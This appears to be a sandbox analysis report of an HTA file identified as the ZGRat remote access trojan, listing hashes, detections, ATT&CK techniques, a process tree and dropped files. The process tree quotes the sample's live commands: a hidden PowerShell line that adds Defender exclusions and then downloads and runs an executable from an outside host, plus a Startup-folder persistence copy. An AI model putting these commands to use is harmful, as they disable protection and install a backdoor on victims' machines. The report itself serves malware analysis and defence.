zgrat | 355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4

Analysis

max time kernel
95s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
13/05/2024, 03:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

gbound.hta
Size

9KB
MD5

344020eda12e49be499998ace856ed47
SHA1

f0a7431a73e7cb0be73fbc588bd91cf173f672d3
SHA256

355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4
SHA512

c3a949de4b8d79b84be37d4b4695a7ccde2b2da583ef998442cb0d9a7191756bcf3d67cf5c2da476f3590823177d07355a9151df32c10d259a32bc4f1fea3b90
SSDEEP

192:w1YCCf214wpenCk59zcntnonzcE6LChVg+D0SDs/:w/Cf214UenCkncntnonzcE6kVgmRs/

Score

10^/10

zgrat agilenet execution rat

Malware Config

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral2/memory/1800-87-0x0000000005320000-0x0000000005408000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-97-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-89-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-88-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-91-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-151-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-149-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-145-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-143-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-141-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-140-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-137-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-135-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-133-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-131-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-127-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-126-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-121-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-119-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-117-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-116-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-113-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-109-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-147-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-129-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-123-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-111-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-107-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-105-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-103-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-101-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-100-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-93-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1
behavioral2/memory/1800-95-0x0000000005320000-0x0000000005402000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4192	powershell.exe
1644	Powershell.exe
4104	powershell.exe
4104	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	mshta.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vjkrfa.exe	Powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vjkrfa.exe	Powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
1800	Kntgugii.exe
3716	TypeId.exe
3032	vjkrfa.exe
4588	vjkrfa.exe
3400	vjkrfa.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral2/memory/3032-6787-0x0000000006AB0000-0x0000000006B84000-memory.dmp	agile_net

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3716 set thread context of 3628	3716	TypeId.exe	105
PID 3032 set thread context of 3400	3032	vjkrfa.exe	110

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
3964	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3400	vjkrfa.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
4192	powershell.exe
4192	powershell.exe
4192	powershell.exe
4192	powershell.exe
4104	powershell.exe
4104	powershell.exe
3716	TypeId.exe
3716	TypeId.exe
3716	TypeId.exe
3716	TypeId.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
1644	Powershell.exe
1644	Powershell.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe
3032	vjkrfa.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeDebugPrivilege	1800	Kntgugii.exe
Token: SeDebugPrivilege	3964	taskkill.exe
Token: SeDebugPrivilege	3716	TypeId.exe
Token: SeDebugPrivilege	3628	MSBuild.exe
Token: SeDebugPrivilege	3032	vjkrfa.exe
Token: SeDebugPrivilege	1644	Powershell.exe
Token: SeDebugPrivilege	3400	vjkrfa.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4192	powershell.exe
4192	powershell.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 4792 wrote to memory of 4192	4792	mshta.exe	83
PID 4792 wrote to memory of 4192	4792	mshta.exe	83
PID 4792 wrote to memory of 4192	4792	mshta.exe	83
PID 4192 wrote to memory of 3516	4192	powershell.exe	87
PID 4192 wrote to memory of 3516	4192	powershell.exe	87
PID 4192 wrote to memory of 3516	4192	powershell.exe	87
PID 4192 wrote to memory of 5016	4192	powershell.exe	89
PID 4192 wrote to memory of 5016	4192	powershell.exe	89
PID 4192 wrote to memory of 5016	4192	powershell.exe	89
PID 5016 wrote to memory of 1556	5016	csc.exe	90
PID 5016 wrote to memory of 1556	5016	csc.exe	90
PID 5016 wrote to memory of 1556	5016	csc.exe	90
PID 880 wrote to memory of 4104	880	DllHost.exe	92
PID 880 wrote to memory of 4104	880	DllHost.exe	92
PID 880 wrote to memory of 4104	880	DllHost.exe	92
PID 4104 wrote to memory of 3940	4104	powershell.exe	95
PID 4104 wrote to memory of 3940	4104	powershell.exe	95
PID 4104 wrote to memory of 3940	4104	powershell.exe	95
PID 4104 wrote to memory of 1800	4104	powershell.exe	96
PID 4104 wrote to memory of 1800	4104	powershell.exe	96
PID 4104 wrote to memory of 1800	4104	powershell.exe	96
PID 880 wrote to memory of 3964	880	DllHost.exe	97
PID 880 wrote to memory of 3964	880	DllHost.exe	97
PID 880 wrote to memory of 3964	880	DllHost.exe	97
PID 3716 wrote to memory of 1168	3716	TypeId.exe	104
PID 3716 wrote to memory of 1168	3716	TypeId.exe	104
PID 3716 wrote to memory of 1168	3716	TypeId.exe	104
PID 3716 wrote to memory of 3628	3716	TypeId.exe	105
PID 3716 wrote to memory of 3628	3716	TypeId.exe	105
PID 3716 wrote to memory of 3628	3716	TypeId.exe	105
PID 3716 wrote to memory of 3628	3716	TypeId.exe	105
PID 3716 wrote to memory of 3628	3716	TypeId.exe	105
PID 3716 wrote to memory of 3628	3716	TypeId.exe	105
PID 3716 wrote to memory of 3628	3716	TypeId.exe	105
PID 3716 wrote to memory of 3628	3716	TypeId.exe	105
PID 3032 wrote to memory of 1644	3032	vjkrfa.exe	107
PID 3032 wrote to memory of 1644	3032	vjkrfa.exe	107
PID 3032 wrote to memory of 1644	3032	vjkrfa.exe	107
PID 3032 wrote to memory of 4588	3032	vjkrfa.exe	109
PID 3032 wrote to memory of 4588	3032	vjkrfa.exe	109
PID 3032 wrote to memory of 4588	3032	vjkrfa.exe	109
PID 3032 wrote to memory of 3400	3032	vjkrfa.exe	110
PID 3032 wrote to memory of 3400	3032	vjkrfa.exe	110
PID 3032 wrote to memory of 3400	3032	vjkrfa.exe	110
PID 3032 wrote to memory of 3400	3032	vjkrfa.exe	110
PID 3032 wrote to memory of 3400	3032	vjkrfa.exe	110
PID 3032 wrote to memory of 3400	3032	vjkrfa.exe	110
PID 3032 wrote to memory of 3400	3032	vjkrfa.exe	110
PID 3032 wrote to memory of 3400	3032	vjkrfa.exe	110

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\gbound.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4792
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -File C:\Users\Public\sWRA.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\SysWOW64\cmstp.exe
    "cmstp.exe" C:\Users\Public\config.inf /au
    3⤵
    PID:3516
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sx2034fh\sx2034fh.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5016
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5999.tmp" "c:\Users\Admin\AppData\Local\Temp\sx2034fh\CSC54E042DFA7054FDDB0D7C250A33CE0F3.TMP"
      4⤵
      PID:1556

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- Suspicious use of WriteProcessMemory
PID:880
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy UnRestricted -WindowStyle Hidden Add-MpPreference -ExclusionPath $env:PUBLIC,'C:\';Add-MpPreference -ExclusionExtension '.exe';curl.exe 'http://relay-02-static.network/rkei/Kntgugii.exe' -o ($env:PUBLIC + '\Kntgugii.exe');start ($env:PUBLIC + '\Kntgugii.exe')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\SysWOW64\curl.exe
    "C:\Windows\system32\curl.exe" http://relay-02-static.network/rkei/Kntgugii.exe -o C:\Users\Public\Kntgugii.exe
    3⤵
    PID:3940
- - C:\Users\Public\Kntgugii.exe
    "C:\Users\Public\Kntgugii.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1800
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /IM cmstp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3964

C:\Users\Admin\AppData\Local\FrameworkDisplayName\mdjtbw\TypeId.exe
C:\Users\Admin\AppData\Local\FrameworkDisplayName\mdjtbw\TypeId.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3716
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  2⤵
  PID:1168
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3628

C:\Users\Admin\AppData\Local\Temp\vjkrfa.exe
C:\Users\Admin\AppData\Local\Temp\vjkrfa.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
  "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\vjkrfa.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vjkrfa.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1644
- C:\Users\Admin\AppData\Local\Temp\vjkrfa.exe
  "C:\Users\Admin\AppData\Local\Temp\vjkrfa.exe"
  2⤵
  - Executes dropped EXE
  PID:4588
- C:\Users\Admin\AppData\Local\Temp\vjkrfa.exe
  "C:\Users\Admin\AppData\Local\Temp\vjkrfa.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  PID:3400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
e20c25c6796223e69094518c14e3d538

SHA1
61351cd1c57ca100ea78f52701f9ee68eb5cdf97

SHA256
52117555684871e6ffb8392082b5fd7268149bf6ca1760f1b317a6ed6ab93aa2

SHA512
b049eb07ad1de2c86d39ff723e51946ec14cfcb356ef1072c2a3e13c69d3a53cfd775c00b46612a6629dc9154ffb7565f495bbe640a8cc9d3f36afc27e5c4288

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vjkrfa.exe.log

Filesize
1KB

MD5
0558c1421c8055b48ee469af53aa6c85

SHA1
5fbb01847adc3c4b3a67bd50db083357d6bc4efa

SHA256
7d3800257c46946cef2203244847520f0e16db338db8032ced936e1a56f9da9c

SHA512
6e8ad527620ba26bdf7786241e2c1c223aa88ddbe23445d75b44644f423c153436aacdf31394e9d10479b9f308a7dd89188695875b753e6fc71ae95ee7b79817

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
b36a0c0fff473df0987b0e83cb10cb21

SHA1
64ac4a9a6896d8ba95804d94177a74a7be701d36

SHA256
3e0a32ecfb7c5f0b71bbf7fd79cc94d5e0e2ec2451658db5fdaf41e1ffcf4aa8

SHA512
70a71539a7312fdc32bf9d3daf44f40abc5749377e7c1f2f4c543cf6e0e2782caa2e5ec1d1ad87327e3161e9ef7d014ab1d1ed2db53cde4a84ad4dd6bf740080

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
e118fcc1bee63b3861bd3d2bb2cd9157

SHA1
b9e7d3815a22ac5759c352b35cf3efda3d743e7e

SHA256
c9ec11deaed294f87512374ddb871134cb865e2b304b1f2ff13a03b3de2702bd

SHA512
941661a0eb5a8cc6454218d5f2f637b966977036699210727b180e7da8e53769d7dd144947cd268df793a4d75f24d525903cff41b7aaef3858c4a0d1d106cf27

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES5999.tmp

Filesize
1KB

MD5
3be1b2c3cb4ab86ea84ab4323fd4e35f

SHA1
ec065525aece5cbca5847898d7054c175407b894

SHA256
90b077f3a1127182f439d5c5c8705f8f7022a9eaacc38182a61ee44045e33ce5

SHA512
b8daac43e3a03d55df73a5cb23609087e1f6026cf805b72885a1cc7665088d0e86b6f932846b51554334e55de39f463f1e963f3755a86133041ae6bdbccbfee2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fm2mmsjk.hil.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\sx2034fh\sx2034fh.dll

Filesize
3KB

MD5
a39d7f19047327b8f18f5204daebbcce

SHA1
d0e7df9ddcf29bac42ca26b48c7d73eb40bb936b

SHA256
f4698a157356072386e7b71ebabc965a0a4504442519923b9aed219b9dbcc720

SHA512
406479ec4a96ec5cab1f6dd513aebf2a8990aa9f2cc39b58c8ef3f729be80f1e9b66ba422c22e4e647f302d5c3eb207eac6d932fae4fa95e18491e4808aa517c

Download Submit
C:\Users\Admin\AppData\Local\Temp\vjkrfa.exe

Filesize
26KB

MD5
1f90151f3470f316a645a6617534a0be

SHA1
80dd3641418ff22c353b2d1f0f4c86990cfdaee1

SHA256
aae9e126f03798f15445e8f308bbf43e9bda6a9e1ffaa9fe2dfd75eb65fef74c

SHA512
5609219d6a7ece553032589d9765e7fcf394253fa4df5d64539e231a4350bf9c8b3bfd2ec5ca1904a6584b793f3a174353261e23983f7ac428b7957379eccbcf

Download Submit
C:\Users\Public\Kntgugii.exe

Filesize
594KB

MD5
f5fe6435df7702338b1320b55f96caa4

SHA1
fab2bbc6e43cc01217673b2753e223099c3c297f

SHA256
3f352445c521895812735acebb5f944cd1e88024cade5b201c562166619ffc9f

SHA512
4c355979435dc7519c4e4ee1a9ff6ad4be9cabcaa6b376473b039fcd785837689f16662e680b196f2b74ec689ff894175a2892206f1883e6e22ca89a292a6fab

Download Submit
C:\Users\Public\config.inf

Filesize
793B

MD5
9551f37d1c321b89594ce33dd5c4a166

SHA1
dbde6afe056ffa89f57b3d817767305533ffc723

SHA256
2fb41b2fc5e9a70f7f4b5c4338306b0ad7b6e9a46921c11bb99a24b3f856c99c

SHA512
4fcea7fb0a6fbcbcd1e332c6f41fd0cf7cd5c0635ba798950cfc590aeff89166b5ea26f72fce98af1b7664165e3b91bcade06a072685d0f04ec22195d006f7e8

Download Submit
C:\Users\Public\sWRA.ps1

Filesize
980B

MD5
cdf55a34ebd80623d6ec05b2f0a42c19

SHA1
9a226bd3e721bc082529a74bd7be39787d427538

SHA256
9cf9a284d8520457baa6bbc513174c60744a9ed5662740b92052bb809c72fc6c

SHA512
96e5007617cfe375fd268ed534a6726e0d77a28134e780d20bac69c9918c7662d1704a1fc3f16f517d705ecbec35913cfaf34f7067e280fa8c9302e43b5a41c1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sx2034fh\CSC54E042DFA7054FDDB0D7C250A33CE0F3.TMP

Filesize
652B

MD5
04d50dfc2176be35ef33b81f2b116d13

SHA1
a050c9d8778891d906e15034dd67687863ed9cae

SHA256
6b803f0a87457843d7ace25d9025c9c0381fbd73edc982598eefc1a1b37bad12

SHA512
79ab81019aaae5831340fcc9918616efdb121b5e06becfe2b5323d5f916ebc9ac5cee45cc8ba7e7edf777eb8527846f1be6a84fe8ebad39c0f826a88e4624f35

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sx2034fh\sx2034fh.0.cs

Filesize
319B

MD5
f3c09788c53ec7b12e03c328440a57fc

SHA1
898711631c676136cc0576370c705d5bb38df060

SHA256
f52036306d49ca5bc0c58242a311526e4d045dcd070b0981db503da5e3a55212

SHA512
cdddd3ffe6563bcd0ff53973b3a3fe7aca3939b77dcb3fcc2e56d93c9f0727a0d5ffa550a21923ffa8a446da589d68a6c26674068bf75233421452a153b9e1ce

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sx2034fh\sx2034fh.cmdline

Filesize
369B

MD5
1af0e4f759905956af0bd615f8f39dce

SHA1
b3b017d167a990de2e2ceee8981c35ce2f98c5da

SHA256
e0f9e02ab164a4230cf89ed3f82388166218b7106827e8311825cf07df3c79f0

SHA512
b96424e097ff78d722db0749a75b1eb8604c4f9a855b7e60637f04cbeafcdc5cde34f38f4b9d6b7bc9cb57be1f01ae2b9d283dc23cfc146d5cc103a8a7ad2a6c

Download Submit
memory/1644-6799-0x0000000006100000-0x0000000006454000-memory.dmp

Filesize
3.3MB

Download
memory/1644-6801-0x0000000006730000-0x000000000677C000-memory.dmp

Filesize
304KB

Download
memory/1800-89-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-101-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-2318-0x0000000005B30000-0x0000000005B84000-memory.dmp

Filesize
336KB

Download
memory/1800-2316-0x00000000054B0000-0x0000000005506000-memory.dmp

Filesize
344KB

Download
memory/1800-2317-0x0000000005510000-0x000000000555C000-memory.dmp

Filesize
304KB

Download
memory/1800-95-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-93-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-100-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-103-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-105-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-107-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-111-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-123-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-129-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-147-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-109-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-113-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-116-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-117-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-119-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-121-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-126-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-127-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-131-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-133-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-135-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-137-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-86-0x0000000000A60000-0x0000000000AFA000-memory.dmp

Filesize
616KB

Download
memory/1800-87-0x0000000005320000-0x0000000005408000-memory.dmp

Filesize
928KB

Download
memory/1800-97-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-140-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-88-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-91-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-151-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-149-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-145-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-143-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/1800-141-0x0000000005320000-0x0000000005402000-memory.dmp

Filesize
904KB

Download
memory/3032-6785-0x0000000000F80000-0x0000000000F8C000-memory.dmp

Filesize
48KB

Download
memory/3032-6789-0x0000000006F10000-0x0000000006FAC000-memory.dmp

Filesize
624KB

Download
memory/3032-6788-0x0000000006C80000-0x0000000006C9E000-memory.dmp

Filesize
120KB

Download
memory/3032-6787-0x0000000006AB0000-0x0000000006B84000-memory.dmp

Filesize
848KB

Download
memory/3032-6786-0x0000000005B10000-0x0000000005B86000-memory.dmp

Filesize
472KB

Download
memory/3400-7663-0x0000000005330000-0x0000000005386000-memory.dmp

Filesize
344KB

Download
memory/3400-6810-0x00000000051B0000-0x0000000005276000-memory.dmp

Filesize
792KB

Download
memory/3400-6809-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/4104-64-0x0000000074300000-0x000000007434C000-memory.dmp

Filesize
304KB

Download
memory/4104-75-0x0000000007A50000-0x0000000007AF3000-memory.dmp

Filesize
652KB

Download
memory/4104-81-0x0000000007E40000-0x0000000007E48000-memory.dmp

Filesize
32KB

Download
memory/4104-63-0x0000000007A00000-0x0000000007A32000-memory.dmp

Filesize
200KB

Download
memory/4104-62-0x0000000006DE0000-0x0000000006E2C000-memory.dmp

Filesize
304KB

Download
memory/4104-80-0x0000000007E50000-0x0000000007E6A000-memory.dmp

Filesize
104KB

Download
memory/4104-51-0x0000000006210000-0x0000000006564000-memory.dmp

Filesize
3.3MB

Download
memory/4104-79-0x0000000007E00000-0x0000000007E14000-memory.dmp

Filesize
80KB

Download
memory/4104-74-0x00000000079E0000-0x00000000079FE000-memory.dmp

Filesize
120KB

Download
memory/4104-78-0x0000000007DF0000-0x0000000007DFE000-memory.dmp

Filesize
56KB

Download
memory/4104-77-0x0000000007C40000-0x0000000007C51000-memory.dmp

Filesize
68KB

Download
memory/4104-76-0x0000000007C20000-0x0000000007C2A000-memory.dmp

Filesize
40KB

Download
memory/4192-47-0x0000000071140000-0x00000000718F0000-memory.dmp

Filesize
7.7MB

Download
memory/4192-20-0x00000000065F0000-0x000000000660E000-memory.dmp

Filesize
120KB

Download
memory/4192-21-0x0000000006610000-0x000000000665C000-memory.dmp

Filesize
304KB

Download
memory/4192-23-0x0000000007CB0000-0x000000000832A000-memory.dmp

Filesize
6.5MB

Download
memory/4192-24-0x0000000006B30000-0x0000000006B4A000-memory.dmp

Filesize
104KB

Download
memory/4192-26-0x00000000088E0000-0x0000000008E84000-memory.dmp

Filesize
5.6MB

Download
memory/4192-28-0x00000000079E0000-0x0000000007A02000-memory.dmp

Filesize
136KB

Download
memory/4192-7-0x0000000005E00000-0x0000000005E22000-memory.dmp

Filesize
136KB

Download
memory/4192-27-0x0000000007A50000-0x0000000007AE6000-memory.dmp

Filesize
600KB

Download
memory/4192-41-0x0000000007A10000-0x0000000007A18000-memory.dmp

Filesize
32KB

Download
